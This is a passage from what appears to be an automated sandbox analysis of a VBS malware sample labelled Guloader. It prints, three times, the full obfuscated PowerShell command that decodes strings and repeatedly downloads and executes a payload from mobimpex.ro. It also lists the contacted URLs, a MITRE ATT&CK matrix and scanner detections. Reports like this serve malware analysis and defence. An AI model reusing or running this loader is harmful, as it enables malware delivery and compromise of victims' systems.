Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "get-service;$grovellingly='func';get-history;$grovellingly+='t';get-history;$grovellingly+='ion:';(ni -p $grovellingly -n pigtraadsorkesteret -value { param($tightwads);$sildetnders=1;do {$budskabs+=$tightwads[$sildetnders];$sildetnders+=2} until(!$tightwads[$sildetnders])$budskabs});convertto-html;(ni -p $grovellingly -n blodtrykkene -value {param($tracings);.($tussede) ($tracings)});convertto-html;$hakkelsemaskine=pigtraadsorkesteret 'mn e,tk..w';$hakkelsemaskine+=pigtraadsorkesteret 've bfcrlciaetnat';$pseu.lassic=pigtraadsorkesteret ',m oiz i,lpl au/';$programmernes=pigtraadsorkesteret 'rt lvs 1 2';$fyndige=' [cnve,ta. slebrdv.ifc e p o i nat mtafnla gcekr ] : :,sse c u rpittfy,p r,o t o clo.ls=f$ pkrbo g rearm,m ehr nuecs';$pseu.lassic+=pigtraadsorkesteret ' 5a. 0u ( wnimn dcouw.s fnlt, 1,0t.,0.;r .w iund6 4s; hxn6.4 ;p r va: 1,3 4u.v0k)t gae cdkso /,2 0i1p0h0,1 0 1u fliir effoo.xb/ 1 3b4c.d0';$sldens=pigtraadsorkesteret ',uasheero-ea g e.ntt';$tudemikkels=pigtraadsorkesteret 'thut t prsd:,/ / m olb ism pte xm..r os/begv,a keukerrhi n gdsbv e lpswe r n.e,s,.ltahdn';$biharmonic106=pigtraadsorkesteret 's>';$tussede=pigtraadsorkesteret ' i e x';$lyskurvene96='survivalists';$flystyrtenes='\daturism.hyp';blodtrykkene (pigtraadsorkesteret 'y$sg llo bsa ls:bv o kra t,ievds.=p$te n,vu: afp p d,amt ae+c$afrl y,s t.y r.t,efnaehs');blodtrykkene (pigtraadsorkesteret '.$pghlzoubfasls: ltd emrs= $ tuu d e m imk.khehl sm. sbpdlri tc( $hb iuhsaar m o n ieca1 0s6 )');blodtrykkene (pigtraadsorkesteret $fyndige);$tudemikkels=$lder[0];$afsejl=(pigtraadsorkesteret ' $gg l,o b.atln:.uudrs ttattui.o nye.r ernedkessm= nke wb-popb j efckt snyusmt,esmy.b$bhpaikjk eml,s e mba stk isn e');blodtrykkene ($afsejl);blodtrykkene (pigtraadsorkesteret 'c$,u dcsat attuiso nfeer e ngdsersa.phaeoa dcefrdsk[ $ skltd efn.s ] =i$wp spe u.d omchl a.sjs iac');$forlagshistoriers=pigtraadsorkesteret ' $au d sttpaat iso n e r e.nad,e sb. d o w n,l,oca dtfdielse.(a$ t ugdte msiok.k e lssk,a$bd e lcl.ahvpoalrpti a nfe rfnseds,)';$dellavolpianernes=$vokativs;blodtrykkene (pigtraadsorkesteret ' $agal,odbsaclm: m i s,ghisv ess,= (ht ebs tu-spsaht hb f$ d esl,l asvvo l p i a,naeurfn eusv)');while (!$misgives) {blodtrykkene (pigtraadsorkesteret 'g$igblso bsaeld:eotiae =.$umueddtpilpawn') ;blodtrykkene $forlagshistoriers;blodtrykkene (pigtraadsorkesteret 'v[ tah r,eaa,d i n gd.dtuh.rteka db] :p: stlae e p (s4g0h0 0v)');blodtrykkene (pigtraadsorkesteret 'r$ golgobbbaml :um i,sfgditv e sm= ( tke s t -npsa t.h n$nd etlbl arv o l pei,acnre rrnse s,)') ;blodtrykkene (pigtraadsorkesteret 'b$ g.loo bsa,l :es kfrsi vve teibl l asduepldsgear n e sa=n$ gsloovbla lv: bfa,u,sto,n +b+ %u$alhduegr . cso,utn t') ;$tudemikkels=$lder[$skrivetilladelsernes]}$losningens=329762;$essayical=26899;blodtrykkene (pigtraadsorkesteret 's$ig,l o b,a ll: b.lra npk estit etn r=. fg edt -mcrojn t
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "get-service;$grovellingly='func';get-history;$grovellingly+='t';get-history;$grovellingly+='ion:';(ni -p $grovellingly -n pigtraadsorkesteret -value { param($tightwads);$sildetnders=1;do {$budskabs+=$tightwads[$sildetnders];$sildetnders+=2} until(!$tightwads[$sildetnders])$budskabs});convertto-html;(ni -p $grovellingly -n blodtrykkene -value {param($tracings);.($tussede) ($tracings)});convertto-html;$hakkelsemaskine=pigtraadsorkesteret 'mn e,tk..w';$hakkelsemaskine+=pigtraadsorkesteret 've bfcrlciaetnat';$pseu.lassic=pigtraadsorkesteret ',m oiz i,lpl au/';$programmernes=pigtraadsorkesteret 'rt lvs 1 2';$fyndige=' [cnve,ta. slebrdv.ifc e p o i nat mtafnla gcekr ] : :,sse c u rpittfy,p r,o t o clo.ls=f$ pkrbo g rearm,m ehr nuecs';$pseu.lassic+=pigtraadsorkesteret ' 5a. 0u ( wnimn dcouw.s fnlt, 1,0t.,0.;r .w iund6 4s; hxn6.4 ;p r va: 1,3 4u.v0k)t gae cdkso /,2 0i1p0h0,1 0 1u fliir effoo.xb/ 1 3b4c.d0';$sldens=pigtraadsorkesteret ',uasheero-ea g e.ntt';$tudemikkels=pigtraadsorkesteret 'thut t prsd:,/ / m olb ism pte xm..r os/begv,a keukerrhi n gdsbv e lpswe r n.e,s,.ltahdn';$biharmonic106=pigtraadsorkesteret 's>';$tussede=pigtraadsorkesteret ' i e x';$lyskurvene96='survivalists';$flystyrtenes='\daturism.hyp';blodtrykkene (pigtraadsorkesteret 'y$sg llo bsa ls:bv o kra t,ievds.=p$te n,vu: afp p d,amt ae+c$afrl y,s t.y r.t,efnaehs');blodtrykkene (pigtraadsorkesteret '.$pghlzoubfasls: ltd emrs= $ tuu d e m imk.khehl sm. sbpdlri tc( $hb iuhsaar m o n ieca1 0s6 )');blodtrykkene (pigtraadsorkesteret $fyndige);$tudemikkels=$lder[0];$afsejl=(pigtraadsorkesteret ' $gg l,o b.atln:.uudrs ttattui.o nye.r ernedkessm= nke wb-popb j efckt snyusmt,esmy.b$bhpaikjk eml,s e mba stk isn e');blodtrykkene ($afsejl);blodtrykkene (pigtraadsorkesteret 'c$,u dcsat attuiso nfeer e ngdsersa.phaeoa dcefrdsk[ $ skltd efn.s ] =i$wp spe u.d omchl a.sjs iac');$forlagshistoriers=pigtraadsorkesteret ' $au d sttpaat iso n e r e.nad,e sb. d o w n,l,oca dtfdielse.(a$ t ugdte msiok.k e lssk,a$bd e lcl.ahvpoalrpti a nfe rfnseds,)';$dellavolpianernes=$vokativs;blodtrykkene (pigtraadsorkesteret ' $agal,odbsaclm: m i s,ghisv ess,= (ht ebs tu-spsaht hb f$ d esl,l asvvo l p i a,naeurfn eusv)');while (!$misgives) {blodtrykkene (pigtraadsorkesteret 'g$igblso bsaeld:eotiae =.$umueddtpilpawn') ;blodtrykkene $forlagshistoriers;blodtrykkene (pigtraadsorkesteret 'v[ tah r,eaa,d i n gd.dtuh.rteka db] :p: stlae e p (s4g0h0 0v)');blodtrykkene (pigtraadsorkesteret 'r$ golgobbbaml :um i,sfgditv e sm= ( tke s t -npsa t.h n$nd etlbl arv o l pei,acnre rrnse s,)') ;blodtrykkene (pigtraadsorkesteret 'b$ g.loo bsa,l :es kfrsi vve teibl l asduepldsgear n e sa=n$ gsloovbla lv: bfa,u,sto,n +b+ %u$alhduegr . cso,utn t') ;$tudemikkels=$lder[$skrivetilladelsernes]}$losningens=329762;$essayical=26899;blodtrykkene (pigtraadsorkesteret 's$ig,l o b,a ll: b.lra npk estit etn r=. fg edt -mcrojn t
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "get-service;$grovellingly='func';get-history;$grovellingly+='t';get-history;$grovellingly+='ion:';(ni -p $grovellingly -n pigtraadsorkesteret -value { param($tightwads);$sildetnders=1;do {$budskabs+=$tightwads[$sildetnders];$sildetnders+=2} until(!$tightwads[$sildetnders])$budskabs});convertto-html;(ni -p $grovellingly -n blodtrykkene -value {param($tracings);.($tussede) ($tracings)});convertto-html;$hakkelsemaskine=pigtraadsorkesteret 'mn e,tk..w';$hakkelsemaskine+=pigtraadsorkesteret 've bfcrlciaetnat';$pseu.lassic=pigtraadsorkesteret ',m oiz i,lpl au/';$programmernes=pigtraadsorkesteret 'rt lvs 1 2';$fyndige=' [cnve,ta. slebrdv.ifc e p o i nat mtafnla gcekr ] : :,sse c u rpittfy,p r,o t o clo.ls=f$ pkrbo g rearm,m ehr nuecs';$pseu.lassic+=pigtraadsorkesteret ' 5a. 0u ( wnimn dcouw.s fnlt, 1,0t.,0.;r .w iund6 4s; hxn6.4 ;p r va: 1,3 4u.v0k)t gae cdkso /,2 0i1p0h0,1 0 1u fliir effoo.xb/ 1 3b4c.d0';$sldens=pigtraadsorkesteret ',uasheero-ea g e.ntt';$tudemikkels=pigtraadsorkesteret 'thut t prsd:,/ / m olb ism pte xm..r os/begv,a keukerrhi n gdsbv e lpswe r n.e,s,.ltahdn';$biharmonic106=pigtraadsorkesteret 's>';$tussede=pigtraadsorkesteret ' i e x';$lyskurvene96='survivalists';$flystyrtenes='\daturism.hyp';blodtrykkene (pigtraadsorkesteret 'y$sg llo bsa ls:bv o kra t,ievds.=p$te n,vu: afp p d,amt ae+c$afrl y,s t.y r.t,efnaehs');blodtrykkene (pigtraadsorkesteret '.$pghlzoubfasls: ltd emrs= $ tuu d e m imk.khehl sm. sbpdlri tc( $hb iuhsaar m o n ieca1 0s6 )');blodtrykkene (pigtraadsorkesteret $fyndige);$tudemikkels=$lder[0];$afsejl=(pigtraadsorkesteret ' $gg l,o b.atln:.uudrs ttattui.o nye.r ernedkessm= nke wb-popb j efckt snyusmt,esmy.b$bhpaikjk eml,s e mba stk isn e');blodtrykkene ($afsejl);blodtrykkene (pigtraadsorkesteret 'c$,u dcsat attuiso nfeer e ngdsersa.phaeoa dcefrdsk[ $ skltd efn.s ] =i$wp spe u.d omchl a.sjs iac');$forlagshistoriers=pigtraadsorkesteret ' $au d sttpaat iso n e r e.nad,e sb. d o w n,l,oca dtfdielse.(a$ t ugdte msiok.k e lssk,a$bd e lcl.ahvpoalrpti a nfe rfnseds,)';$dellavolpianernes=$vokativs;blodtrykkene (pigtraadsorkesteret ' $agal,odbsaclm: m i s,ghisv ess,= (ht ebs tu-spsaht hb f$ d esl,l asvvo l p i a,naeurfn eusv)');while (!$misgives) {blodtrykkene (pigtraadsorkesteret 'g$igblso bsaeld:eotiae =.$umueddtpilpawn') ;blodtrykkene $forlagshistoriers;blodtrykkene (pigtraadsorkesteret 'v[ tah r,eaa,d i n gd.dtuh.rteka db] :p: stlae e p (s4g0h0 0v)');blodtrykkene (pigtraadsorkesteret 'r$ golgobbbaml :um i,sfgditv e sm= ( tke s t -npsa t.h n$nd etlbl arv o l pei,acnre rrnse s,)') ;blodtrykkene (pigtraadsorkesteret 'b$ g.loo bsa,l :es kfrsi vve teibl l asduepldsgear n e sa=n$ gsloovbla lv: bfa,u,sto,n +b+ %u$alhduegr . cso,utn t') ;$tudemikkels=$lder[$skrivetilladelsernes]}$losningens=329762;$essayical=26899;blodtrykkene (pigtraadsorkesteret 's$ig,l o b,a ll: b.lra npk estit etn r=. fg edt -mcrojn t	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	321 Scripting	Valid Accounts	11 Windows Management Instrumentation	321 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ADEX YACHTING Kft. REF HU03192025.vbs	19%	ReversingLabs	Script-WScript.Trojan.Guloader
ADEX YACHTING Kft. REF HU03192025.vbs	11%	Virustotal		Browse

Source	Detection	Scanner	Label
https://mobimpex.ro/Evakueringsvels	0%	Avira URL Cloud	safe
https://mobimpex.ro/E	0%	Avira URL Cloud	safe
https://mobimpex.ro/Eva	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evak	0%	Avira URL Cloud	safe
http://mobimpex.ro	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evakuerin	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evakue	0%	Avira URL Cloud	safe
http://www.mobimpex.ro	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evakueringsvelsernes.	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evakueringsve	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evakueringsvelsern	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evakueringsvelser	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evakuering	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evakueringsvelsernes.t	0%	Avira URL Cloud	safe
https://mobimpex.ro	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evakueringsvelsernes.th	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evakueringsvel	0%	Avira URL Cloud	safe
https://mobimpex.ro/Ev	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evakuerings	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evakueringsvelse	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evakueri	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evakuer	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evakueringsvelsernes.thnXR	0%	Avira URL Cloud	safe
https://mobimpex.r	0%	Avira URL Cloud	safe
https://mobimpex.ro/	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evaku	0%	Avira URL Cloud	safe
http://www.mobimpex.ro/Evakueringsvelsernes.thn	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evakueringsvelserne	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evakueringsv	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evakueringsvelsernes	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evakueringsvelsernes.thn	0%	Avira URL Cloud	safe
https://mobimpex.ro/Evakueringsvelsernes.thnP	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.mobimpex.ro	188.213.33.77	true	false		unknown
mobimpex.ro	188.213.33.77	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.mobimpex.ro/Evakueringsvelsernes.thn	false	Avira URL Cloud: safe	unknown
https://mobimpex.ro/Evakueringsvelsernes.thn	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.1448986329.0000019B735D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mobimpex.ro/E	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobimpex.ro/Evakueringsvels	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobimpex.ro	powershell.exe, 00000002.00000002.1419422353.0000019B647AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B6494D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B63B87000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B647C4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.1419422353.0000019B63786000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mobimpex.ro/Evak	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobimpex.ro/Evakueringsve	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.1419422353.0000019B63786000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mobimpex.ro	powershell.exe, 00000002.00000002.1419422353.0000019B6478B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B647E3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobimpex.ro/Evakue	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobimpex.ro/Evakueringsvelsernes.	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000002.00000002.1448986329.0000019B735D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000002.00000002.1448986329.0000019B735D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mobimpex.ro/Evakuerin	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobimpex.ro/Eva	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobimpex.ro/Ev	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobimpex.ro/Evakueringsvelsern	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobimpex.ro	powershell.exe, 00000002.00000002.1419422353.0000019B63786000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B63B9A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B647E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B64728000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.1419422353.0000019B63786000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mobimpex.ro/Evakuering	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobimpex.ro/Evakueringsvelse	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobimpex.ro/Evakueringsvelser	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobimpex.ro/Evakuerings	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobimpex.ro/Evakueringsvelsernes.th	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 0000000A.00000002.2544044724.00000000043D1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mobimpex.ro/Evakueringsvelsernes.t	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000002.00000002.1448986329.0000019B735D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.1448986329.0000019B735D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mobimpex.ro/Evakueringsvel	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobimpex.ro/Evakueringsvelsernes.thnXR	powershell.exe, 0000000A.00000002.2544044724.0000000004524000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobimpex.ro/	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.1419422353.0000019B63561000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mobimpex.ro/Evakueri	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobimpex.ro/Evaku	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.1419422353.0000019B63561000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2544044724.00000000043D1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mobimpex.r	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobimpex.ro/Evakuer	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobimpex.ro/Evakueringsv	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobimpex.ro/Evakueringsvelserne	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mobimpex.ro/Evakueringsvelsernes	powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
